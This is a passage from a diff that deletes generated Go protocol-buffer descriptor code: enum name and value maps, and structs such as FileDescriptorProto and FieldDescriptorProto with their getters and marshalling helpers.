-) - -var FileOptions_OptimizeMode_name = map[int32]string{ - 1: "SPEED", - 2: "CODE_SIZE", - 3: "LITE_RUNTIME", -} - -var FileOptions_OptimizeMode_value = map[string]int32{ - "SPEED": 1, - "CODE_SIZE": 2, - "LITE_RUNTIME": 3, -} - -func (x FileOptions_OptimizeMode) Enum() *FileOptions_OptimizeMode { - p := new(FileOptions_OptimizeMode) - *p = x - return p -} - -func (x FileOptions_OptimizeMode) String() string { - return proto.EnumName(FileOptions_OptimizeMode_name, int32(x)) -} - -func (x *FileOptions_OptimizeMode) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(FileOptions_OptimizeMode_value, data, "FileOptions_OptimizeMode") - if err != nil { - return err - } - *x = FileOptions_OptimizeMode(value) - return nil -} - -func (FileOptions_OptimizeMode) EnumDescriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{10, 0} -} - -type FieldOptions_CType int32 - -const ( - // Default mode. - FieldOptions_STRING FieldOptions_CType = 0 - FieldOptions_CORD FieldOptions_CType = 1 - FieldOptions_STRING_PIECE FieldOptions_CType = 2 -) - -var FieldOptions_CType_name = map[int32]string{ - 0: "STRING", - 1: "CORD", - 2: "STRING_PIECE", -} - -var FieldOptions_CType_value = map[string]int32{ - "STRING": 0, - "CORD": 1, - "STRING_PIECE": 2, -} - -func (x FieldOptions_CType) Enum() *FieldOptions_CType { - p := new(FieldOptions_CType) - *p = x - return p -} - -func (x FieldOptions_CType) String() string { - return proto.EnumName(FieldOptions_CType_name, int32(x)) -} - -func (x *FieldOptions_CType) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(FieldOptions_CType_value, data, "FieldOptions_CType") - if err != nil { - return err - } - *x = FieldOptions_CType(value) - return nil -} - -func (FieldOptions_CType) EnumDescriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{12, 0} -} - -type FieldOptions_JSType int32 - -const ( - // Use the default type. - FieldOptions_JS_NORMAL FieldOptions_JSType = 0 - // Use JavaScript strings. - FieldOptions_JS_STRING FieldOptions_JSType = 1 - // Use JavaScript numbers. - FieldOptions_JS_NUMBER FieldOptions_JSType = 2 -) - -var FieldOptions_JSType_name = map[int32]string{ - 0: "JS_NORMAL", - 1: "JS_STRING", - 2: "JS_NUMBER", -} - -var FieldOptions_JSType_value = map[string]int32{ - "JS_NORMAL": 0, - "JS_STRING": 1, - "JS_NUMBER": 2, -} - -func (x FieldOptions_JSType) Enum() *FieldOptions_JSType { - p := new(FieldOptions_JSType) - *p = x - return p -} - -func (x FieldOptions_JSType) String() string { - return proto.EnumName(FieldOptions_JSType_name, int32(x)) -} - -func (x *FieldOptions_JSType) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(FieldOptions_JSType_value, data, "FieldOptions_JSType") - if err != nil { - return err - } - *x = FieldOptions_JSType(value) - return nil -} - -func (FieldOptions_JSType) EnumDescriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{12, 1} -} - -// Is this method side-effect-free (or safe in HTTP parlance), or idempotent, -// or neither? HTTP based RPC implementation may choose GET verb for safe -// methods, and PUT verb for idempotent methods instead of the default POST. -type MethodOptions_IdempotencyLevel int32 - -const ( - MethodOptions_IDEMPOTENCY_UNKNOWN MethodOptions_IdempotencyLevel = 0 - MethodOptions_NO_SIDE_EFFECTS MethodOptions_IdempotencyLevel = 1 - MethodOptions_IDEMPOTENT MethodOptions_IdempotencyLevel = 2 -) - -var MethodOptions_IdempotencyLevel_name = map[int32]string{ - 0: "IDEMPOTENCY_UNKNOWN", - 1: "NO_SIDE_EFFECTS", - 2: "IDEMPOTENT", -} - -var MethodOptions_IdempotencyLevel_value = map[string]int32{ - "IDEMPOTENCY_UNKNOWN": 0, - "NO_SIDE_EFFECTS": 1, - "IDEMPOTENT": 2, -} - -func (x MethodOptions_IdempotencyLevel) Enum() *MethodOptions_IdempotencyLevel { - p := new(MethodOptions_IdempotencyLevel) - *p = x - return p -} - -func (x MethodOptions_IdempotencyLevel) String() string { - return proto.EnumName(MethodOptions_IdempotencyLevel_name, int32(x)) -} - -func (x *MethodOptions_IdempotencyLevel) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(MethodOptions_IdempotencyLevel_value, data, "MethodOptions_IdempotencyLevel") - if err != nil { - return err - } - *x = MethodOptions_IdempotencyLevel(value) - return nil -} - -func (MethodOptions_IdempotencyLevel) EnumDescriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{17, 0} -} - -// The protocol compiler can output a FileDescriptorSet containing the .proto -// files it parses. -type FileDescriptorSet struct { - File []*FileDescriptorProto `protobuf:"bytes,1,rep,name=file" json:"file,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *FileDescriptorSet) Reset() { *m = FileDescriptorSet{} } -func (m *FileDescriptorSet) String() string { return proto.CompactTextString(m) } -func (*FileDescriptorSet) ProtoMessage() {} -func (*FileDescriptorSet) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{0} -} - -func (m *FileDescriptorSet) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_FileDescriptorSet.Unmarshal(m, b) -} -func (m *FileDescriptorSet) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_FileDescriptorSet.Marshal(b, m, deterministic) -} -func (m *FileDescriptorSet) XXX_Merge(src proto.Message) { - xxx_messageInfo_FileDescriptorSet.Merge(m, src) -} -func (m *FileDescriptorSet) XXX_Size() int { - return xxx_messageInfo_FileDescriptorSet.Size(m) -} -func (m *FileDescriptorSet) XXX_DiscardUnknown() { - xxx_messageInfo_FileDescriptorSet.DiscardUnknown(m) -} - -var xxx_messageInfo_FileDescriptorSet proto.InternalMessageInfo - -func (m *FileDescriptorSet) GetFile() []*FileDescriptorProto { - if m != nil { - return m.File - } - return nil -} - -// Describes a complete .proto file. -type FileDescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - Package *string `protobuf:"bytes,2,opt,name=package" json:"package,omitempty"` - // Names of files imported by this file. - Dependency []string `protobuf:"bytes,3,rep,name=dependency" json:"dependency,omitempty"` - // Indexes of the public imported files in the dependency list above. - PublicDependency []int32 `protobuf:"varint,10,rep,name=public_dependency,json=publicDependency" json:"public_dependency,omitempty"` - // Indexes of the weak imported files in the dependency list. - // For Google-internal migration only. Do not use. - WeakDependency []int32 `protobuf:"varint,11,rep,name=weak_dependency,json=weakDependency" json:"weak_dependency,omitempty"` - // All top-level definitions in this file. - MessageType []*DescriptorProto `protobuf:"bytes,4,rep,name=message_type,json=messageType" json:"message_type,omitempty"` - EnumType []*EnumDescriptorProto `protobuf:"bytes,5,rep,name=enum_type,json=enumType" json:"enum_type,omitempty"` - Service []*ServiceDescriptorProto `protobuf:"bytes,6,rep,name=service" json:"service,omitempty"` - Extension []*FieldDescriptorProto `protobuf:"bytes,7,rep,name=extension" json:"extension,omitempty"` - Options *FileOptions `protobuf:"bytes,8,opt,name=options" json:"options,omitempty"` - // This field contains optional information about the original source code. - // You may safely remove this entire field without harming runtime - // functionality of the descriptors -- the information is needed only by - // development tools. - SourceCodeInfo *SourceCodeInfo `protobuf:"bytes,9,opt,name=source_code_info,json=sourceCodeInfo" json:"source_code_info,omitempty"` - // The syntax of the proto file. - // The supported values are "proto2" and "proto3". - Syntax *string `protobuf:"bytes,12,opt,name=syntax" json:"syntax,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *FileDescriptorProto) Reset() { *m = FileDescriptorProto{} } -func (m *FileDescriptorProto) String() string { return proto.CompactTextString(m) } -func (*FileDescriptorProto) ProtoMessage() {} -func (*FileDescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{1} -} - -func (m *FileDescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_FileDescriptorProto.Unmarshal(m, b) -} -func (m *FileDescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_FileDescriptorProto.Marshal(b, m, deterministic) -} -func (m *FileDescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_FileDescriptorProto.Merge(m, src) -} -func (m *FileDescriptorProto) XXX_Size() int { - return xxx_messageInfo_FileDescriptorProto.Size(m) -} -func (m *FileDescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_FileDescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_FileDescriptorProto proto.InternalMessageInfo - -func (m *FileDescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *FileDescriptorProto) GetPackage() string { - if m != nil && m.Package != nil { - return *m.Package - } - return "" -} - -func (m *FileDescriptorProto) GetDependency() []string { - if m != nil { - return m.Dependency - } - return nil -} - -func (m *FileDescriptorProto) GetPublicDependency() []int32 { - if m != nil { - return m.PublicDependency - } - return nil -} - -func (m *FileDescriptorProto) GetWeakDependency() []int32 { - if m != nil { - return m.WeakDependency - } - return nil -} - -func (m *FileDescriptorProto) GetMessageType() []*DescriptorProto { - if m != nil { - return m.MessageType - } - return nil -} - -func (m *FileDescriptorProto) GetEnumType() []*EnumDescriptorProto { - if m != nil { - return m.EnumType - } - return nil -} - -func (m *FileDescriptorProto) GetService() []*ServiceDescriptorProto { - if m != nil { - return m.Service - } - return nil -} - -func (m *FileDescriptorProto) GetExtension() []*FieldDescriptorProto { - if m != nil { - return m.Extension - } - return nil -} - -func (m *FileDescriptorProto) GetOptions() *FileOptions { - if m != nil { - return m.Options - } - return nil -} - -func (m *FileDescriptorProto) GetSourceCodeInfo() *SourceCodeInfo { - if m != nil { - return m.SourceCodeInfo - } - return nil -} - -func (m *FileDescriptorProto) GetSyntax() string { - if m != nil && m.Syntax != nil { - return *m.Syntax - } - return "" -} - -// Describes a message type. -type DescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - Field []*FieldDescriptorProto `protobuf:"bytes,2,rep,name=field" json:"field,omitempty"` - Extension []*FieldDescriptorProto `protobuf:"bytes,6,rep,name=extension" json:"extension,omitempty"` - NestedType []*DescriptorProto `protobuf:"bytes,3,rep,name=nested_type,json=nestedType" json:"nested_type,omitempty"` - EnumType []*EnumDescriptorProto `protobuf:"bytes,4,rep,name=enum_type,json=enumType" json:"enum_type,omitempty"` - ExtensionRange []*DescriptorProto_ExtensionRange `protobuf:"bytes,5,rep,name=extension_range,json=extensionRange" json:"extension_range,omitempty"` - OneofDecl []*OneofDescriptorProto `protobuf:"bytes,8,rep,name=oneof_decl,json=oneofDecl" json:"oneof_decl,omitempty"` - Options *MessageOptions `protobuf:"bytes,7,opt,name=options" json:"options,omitempty"` - ReservedRange []*DescriptorProto_ReservedRange `protobuf:"bytes,9,rep,name=reserved_range,json=reservedRange" json:"reserved_range,omitempty"` - // Reserved field names, which may not be used by fields in the same message. - // A given name may only be reserved once. - ReservedName []string `protobuf:"bytes,10,rep,name=reserved_name,json=reservedName" json:"reserved_name,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *DescriptorProto) Reset() { *m = DescriptorProto{} } -func (m *DescriptorProto) String() string { return proto.CompactTextString(m) } -func (*DescriptorProto) ProtoMessage() {} -func (*DescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{2} -} - -func (m *DescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_DescriptorProto.Unmarshal(m, b) -} -func (m *DescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_DescriptorProto.Marshal(b, m, deterministic) -} -func (m *DescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_DescriptorProto.Merge(m, src) -} -func (m *DescriptorProto) XXX_Size() int { - return xxx_messageInfo_DescriptorProto.Size(m) -} -func (m *DescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_DescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_DescriptorProto proto.InternalMessageInfo - -func (m *DescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *DescriptorProto) GetField() []*FieldDescriptorProto { - if m != nil { - return m.Field - } - return nil -} - -func (m *DescriptorProto) GetExtension() []*FieldDescriptorProto { - if m != nil { - return m.Extension - } - return nil -} - -func (m *DescriptorProto) GetNestedType() []*DescriptorProto { - if m != nil { - return m.NestedType - } - return nil -} - -func (m *DescriptorProto) GetEnumType() []*EnumDescriptorProto { - if m != nil { - return m.EnumType - } - return nil -} - -func (m *DescriptorProto) GetExtensionRange() []*DescriptorProto_ExtensionRange { - if m != nil { - return m.ExtensionRange - } - return nil -} - -func (m *DescriptorProto) GetOneofDecl() []*OneofDescriptorProto { - if m != nil { - return m.OneofDecl - } - return nil -} - -func (m *DescriptorProto) GetOptions() *MessageOptions { - if m != nil { - return m.Options - } - return nil -} - -func (m *DescriptorProto) GetReservedRange() []*DescriptorProto_ReservedRange { - if m != nil { - return m.ReservedRange - } - return nil -} - -func (m *DescriptorProto) GetReservedName() []string { - if m != nil { - return m.ReservedName - } - return nil -} - -type DescriptorProto_ExtensionRange struct { - Start *int32 `protobuf:"varint,1,opt,name=start" json:"start,omitempty"` - End *int32 `protobuf:"varint,2,opt,name=end" json:"end,omitempty"` - Options *ExtensionRangeOptions `protobuf:"bytes,3,opt,name=options" json:"options,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *DescriptorProto_ExtensionRange) Reset() { *m = DescriptorProto_ExtensionRange{} } -func (m *DescriptorProto_ExtensionRange) String() string { return proto.CompactTextString(m) } -func (*DescriptorProto_ExtensionRange) ProtoMessage() {} -func (*DescriptorProto_ExtensionRange) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{2, 0} -} - -func (m *DescriptorProto_ExtensionRange) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_DescriptorProto_ExtensionRange.Unmarshal(m, b) -} -func (m *DescriptorProto_ExtensionRange) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_DescriptorProto_ExtensionRange.Marshal(b, m, deterministic) -} -func (m *DescriptorProto_ExtensionRange) XXX_Merge(src proto.Message) { - xxx_messageInfo_DescriptorProto_ExtensionRange.Merge(m, src) -} -func (m *DescriptorProto_ExtensionRange) XXX_Size() int { - return xxx_messageInfo_DescriptorProto_ExtensionRange.Size(m) -} -func (m *DescriptorProto_ExtensionRange) XXX_DiscardUnknown() { - xxx_messageInfo_DescriptorProto_ExtensionRange.DiscardUnknown(m) -} - -var xxx_messageInfo_DescriptorProto_ExtensionRange proto.InternalMessageInfo - -func (m *DescriptorProto_ExtensionRange) GetStart() int32 { - if m != nil && m.Start != nil { - return *m.Start - } - return 0 -} - -func (m *DescriptorProto_ExtensionRange) GetEnd() int32 { - if m != nil && m.End != nil { - return *m.End - } - return 0 -} - -func (m *DescriptorProto_ExtensionRange) GetOptions() *ExtensionRangeOptions { - if m != nil { - return m.Options - } - return nil -} - -// Range of reserved tag numbers. Reserved tag numbers may not be used by -// fields or extension ranges in the same message. Reserved ranges may -// not overlap. -type DescriptorProto_ReservedRange struct { - Start *int32 `protobuf:"varint,1,opt,name=start" json:"start,omitempty"` - End *int32 `protobuf:"varint,2,opt,name=end" json:"end,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *DescriptorProto_ReservedRange) Reset() { *m = DescriptorProto_ReservedRange{} } -func (m *DescriptorProto_ReservedRange) String() string { return proto.CompactTextString(m) } -func (*DescriptorProto_ReservedRange) ProtoMessage() {} -func (*DescriptorProto_ReservedRange) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{2, 1} -} - -func (m *DescriptorProto_ReservedRange) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_DescriptorProto_ReservedRange.Unmarshal(m, b) -} -func (m *DescriptorProto_ReservedRange) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_DescriptorProto_ReservedRange.Marshal(b, m, deterministic) -} -func (m *DescriptorProto_ReservedRange) XXX_Merge(src proto.Message) { - xxx_messageInfo_DescriptorProto_ReservedRange.Merge(m, src) -} -func (m *DescriptorProto_ReservedRange) XXX_Size() int { - return xxx_messageInfo_DescriptorProto_ReservedRange.Size(m) -} -func (m *DescriptorProto_ReservedRange) XXX_DiscardUnknown() { - xxx_messageInfo_DescriptorProto_ReservedRange.DiscardUnknown(m) -} - -var xxx_messageInfo_DescriptorProto_ReservedRange proto.InternalMessageInfo - -func (m *DescriptorProto_ReservedRange) GetStart() int32 { - if m != nil && m.Start != nil { - return *m.Start - } - return 0 -} - -func (m *DescriptorProto_ReservedRange) GetEnd() int32 { - if m != nil && m.End != nil { - return *m.End - } - return 0 -} - -type ExtensionRangeOptions struct { - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *ExtensionRangeOptions) Reset() { *m = ExtensionRangeOptions{} } -func (m *ExtensionRangeOptions) String() string { return proto.CompactTextString(m) } -func (*ExtensionRangeOptions) ProtoMessage() {} -func (*ExtensionRangeOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{3} -} - -var extRange_ExtensionRangeOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*ExtensionRangeOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_ExtensionRangeOptions -} - -func (m *ExtensionRangeOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_ExtensionRangeOptions.Unmarshal(m, b) -} -func (m *ExtensionRangeOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_ExtensionRangeOptions.Marshal(b, m, deterministic) -} -func (m *ExtensionRangeOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_ExtensionRangeOptions.Merge(m, src) -} -func (m *ExtensionRangeOptions) XXX_Size() int { - return xxx_messageInfo_ExtensionRangeOptions.Size(m) -} -func (m *ExtensionRangeOptions) XXX_DiscardUnknown() { - xxx_messageInfo_ExtensionRangeOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_ExtensionRangeOptions proto.InternalMessageInfo - -func (m *ExtensionRangeOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -// Describes a field within a message. -type FieldDescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - Number *int32 `protobuf:"varint,3,opt,name=number" json:"number,omitempty"` - Label *FieldDescriptorProto_Label `protobuf:"varint,4,opt,name=label,enum=google.protobuf.FieldDescriptorProto_Label" json:"label,omitempty"` - // If type_name is set, this need not be set. If both this and type_name - // are set, this must be one of TYPE_ENUM, TYPE_MESSAGE or TYPE_GROUP. - Type *FieldDescriptorProto_Type `protobuf:"varint,5,opt,name=type,enum=google.protobuf.FieldDescriptorProto_Type" json:"type,omitempty"` - // For message and enum types, this is the name of the type. If the name - // starts with a '.', it is fully-qualified. Otherwise, C++-like scoping - // rules are used to find the type (i.e. first the nested types within this - // message are searched, then within the parent, on up to the root - // namespace). - TypeName *string `protobuf:"bytes,6,opt,name=type_name,json=typeName" json:"type_name,omitempty"` - // For extensions, this is the name of the type being extended. It is - // resolved in the same manner as type_name. - Extendee *string `protobuf:"bytes,2,opt,name=extendee" json:"extendee,omitempty"` - // For numeric types, contains the original text representation of the value. - // For booleans, "true" or "false". - // For strings, contains the default text contents (not escaped in any way). - // For bytes, contains the C escaped value. All bytes >= 128 are escaped. - // TODO(kenton): Base-64 encode? - DefaultValue *string `protobuf:"bytes,7,opt,name=default_value,json=defaultValue" json:"default_value,omitempty"` - // If set, gives the index of a oneof in the containing type's oneof_decl - // list. This field is a member of that oneof. - OneofIndex *int32 `protobuf:"varint,9,opt,name=oneof_index,json=oneofIndex" json:"oneof_index,omitempty"` - // JSON name of this field. The value is set by protocol compiler. If the - // user has set a "json_name" option on this field, that option's value - // will be used. Otherwise, it's deduced from the field's name by converting - // it to camelCase. - JsonName *string `protobuf:"bytes,10,opt,name=json_name,json=jsonName" json:"json_name,omitempty"` - Options *FieldOptions `protobuf:"bytes,8,opt,name=options" json:"options,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *FieldDescriptorProto) Reset() { *m = FieldDescriptorProto{} } -func (m *FieldDescriptorProto) String() string { return proto.CompactTextString(m) } -func (*FieldDescriptorProto) ProtoMessage() {} -func (*FieldDescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{4} -} - -func (m *FieldDescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_FieldDescriptorProto.Unmarshal(m, b) -} -func (m *FieldDescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_FieldDescriptorProto.Marshal(b, m, deterministic) -} -func (m *FieldDescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_FieldDescriptorProto.Merge(m, src) -} -func (m *FieldDescriptorProto) XXX_Size() int { - return xxx_messageInfo_FieldDescriptorProto.Size(m) -} -func (m *FieldDescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_FieldDescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_FieldDescriptorProto proto.InternalMessageInfo - -func (m *FieldDescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *FieldDescriptorProto) GetNumber() int32 { - if m != nil && m.Number != nil { - return *m.Number - } - return 0 -} - -func (m *FieldDescriptorProto) GetLabel() FieldDescriptorProto_Label { - if m != nil && m.Label != nil { - return *m.Label - } - return FieldDescriptorProto_LABEL_OPTIONAL -} - -func (m *FieldDescriptorProto) GetType() FieldDescriptorProto_Type { - if m != nil && m.Type != nil { - return *m.Type - } - return FieldDescriptorProto_TYPE_DOUBLE -} - -func (m *FieldDescriptorProto) GetTypeName() string { - if m != nil && m.TypeName != nil { - return *m.TypeName - } - return "" -} - -func (m *FieldDescriptorProto) GetExtendee() string { - if m != nil && m.Extendee != nil { - return *m.Extendee - } - return "" -} - -func (m *FieldDescriptorProto) GetDefaultValue() string { - if m != nil && m.DefaultValue != nil { - return *m.DefaultValue - } - return "" -} - -func (m *FieldDescriptorProto) GetOneofIndex() int32 { - if m != nil && m.OneofIndex != nil { - return *m.OneofIndex - } - return 0 -} - -func (m *FieldDescriptorProto) GetJsonName() string { - if m != nil && m.JsonName != nil { - return *m.JsonName - } - return "" -} - -func (m *FieldDescriptorProto) GetOptions() *FieldOptions { - if m != nil { - return m.Options - } - return nil -} - -// Describes a oneof. -type OneofDescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - Options *OneofOptions `protobuf:"bytes,2,opt,name=options" json:"options,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *OneofDescriptorProto) Reset() { *m = OneofDescriptorProto{} } -func (m *OneofDescriptorProto) String() string { return proto.CompactTextString(m) } -func (*OneofDescriptorProto) ProtoMessage() {} -func (*OneofDescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{5} -} - -func (m *OneofDescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_OneofDescriptorProto.Unmarshal(m, b) -} -func (m *OneofDescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_OneofDescriptorProto.Marshal(b, m, deterministic) -} -func (m *OneofDescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_OneofDescriptorProto.Merge(m, src) -} -func (m *OneofDescriptorProto) XXX_Size() int { - return xxx_messageInfo_OneofDescriptorProto.Size(m) -} -func (m *OneofDescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_OneofDescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_OneofDescriptorProto proto.InternalMessageInfo - -func (m *OneofDescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *OneofDescriptorProto) GetOptions() *OneofOptions { - if m != nil { - return m.Options - } - return nil -} - -// Describes an enum type. -type EnumDescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - Value []*EnumValueDescriptorProto `protobuf:"bytes,2,rep,name=value" json:"value,omitempty"` - Options *EnumOptions `protobuf:"bytes,3,opt,name=options" json:"options,omitempty"` - // Range of reserved numeric values. Reserved numeric values may not be used - // by enum values in the same enum declaration. Reserved ranges may not - // overlap. - ReservedRange []*EnumDescriptorProto_EnumReservedRange `protobuf:"bytes,4,rep,name=reserved_range,json=reservedRange" json:"reserved_range,omitempty"` - // Reserved enum value names, which may not be reused. A given name may only - // be reserved once. - ReservedName []string `protobuf:"bytes,5,rep,name=reserved_name,json=reservedName" json:"reserved_name,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *EnumDescriptorProto) Reset() { *m = EnumDescriptorProto{} } -func (m *EnumDescriptorProto) String() string { return proto.CompactTextString(m) } -func (*EnumDescriptorProto) ProtoMessage() {} -func (*EnumDescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{6} -} - -func (m *EnumDescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_EnumDescriptorProto.Unmarshal(m, b) -} -func (m *EnumDescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_EnumDescriptorProto.Marshal(b, m, deterministic) -} -func (m *EnumDescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_EnumDescriptorProto.Merge(m, src) -} -func (m *EnumDescriptorProto) XXX_Size() int { - return xxx_messageInfo_EnumDescriptorProto.Size(m) -} -func (m *EnumDescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_EnumDescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_EnumDescriptorProto proto.InternalMessageInfo - -func (m *EnumDescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *EnumDescriptorProto) GetValue() []*EnumValueDescriptorProto { - if m != nil { - return m.Value - } - return nil -} - -func (m *EnumDescriptorProto) GetOptions() *EnumOptions { - if m != nil { - return m.Options - } - return nil -} - -func (m *EnumDescriptorProto) GetReservedRange() []*EnumDescriptorProto_EnumReservedRange { - if m != nil { - return m.ReservedRange - } - return nil -} - -func (m *EnumDescriptorProto) GetReservedName() []string { - if m != nil { - return m.ReservedName - } - return nil -} - -// Range of reserved numeric values. Reserved values may not be used by -// entries in the same enum. Reserved ranges may not overlap. -// -// Note that this is distinct from DescriptorProto.ReservedRange in that it -// is inclusive such that it can appropriately represent the entire int32 -// domain. -type EnumDescriptorProto_EnumReservedRange struct { - Start *int32 `protobuf:"varint,1,opt,name=start" json:"start,omitempty"` - End *int32 `protobuf:"varint,2,opt,name=end" json:"end,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *EnumDescriptorProto_EnumReservedRange) Reset() { *m = EnumDescriptorProto_EnumReservedRange{} } -func (m *EnumDescriptorProto_EnumReservedRange) String() string { return proto.CompactTextString(m) } -func (*EnumDescriptorProto_EnumReservedRange) ProtoMessage() {} -func (*EnumDescriptorProto_EnumReservedRange) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{6, 0} -} - -func (m *EnumDescriptorProto_EnumReservedRange) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_EnumDescriptorProto_EnumReservedRange.Unmarshal(m, b) -} -func (m *EnumDescriptorProto_EnumReservedRange) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_EnumDescriptorProto_EnumReservedRange.Marshal(b, m, deterministic) -} -func (m *EnumDescriptorProto_EnumReservedRange) XXX_Merge(src proto.Message) { - xxx_messageInfo_EnumDescriptorProto_EnumReservedRange.Merge(m, src) -} -func (m *EnumDescriptorProto_EnumReservedRange) XXX_Size() int { - return xxx_messageInfo_EnumDescriptorProto_EnumReservedRange.Size(m) -} -func (m *EnumDescriptorProto_EnumReservedRange) XXX_DiscardUnknown() { - xxx_messageInfo_EnumDescriptorProto_EnumReservedRange.DiscardUnknown(m) -} - -var xxx_messageInfo_EnumDescriptorProto_EnumReservedRange proto.InternalMessageInfo - -func (m *EnumDescriptorProto_EnumReservedRange) GetStart() int32 { - if m != nil && m.Start != nil { - return *m.Start - } - return 0 -} - -func (m *EnumDescriptorProto_EnumReservedRange) GetEnd() int32 { - if m != nil && m.End != nil { - return *m.End - } - return 0 -} - -// 